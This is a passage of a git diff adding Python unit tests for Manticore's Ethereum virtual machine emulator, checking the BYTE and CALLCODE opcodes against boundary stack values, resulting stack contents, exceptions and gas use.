+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_BYTE_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMCALLCODE.py b/tests/EVM/test_EVMCALLCODE.py
new file mode 100644
index 0000000..6f45cc9
--- /dev/null
+++ b/tests/EVM/test_EVMCALLCODE.py
@@ -0,0 +1,400 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_CALLCODE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_CALLCODE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+    def test_CALLCODE_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xf2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
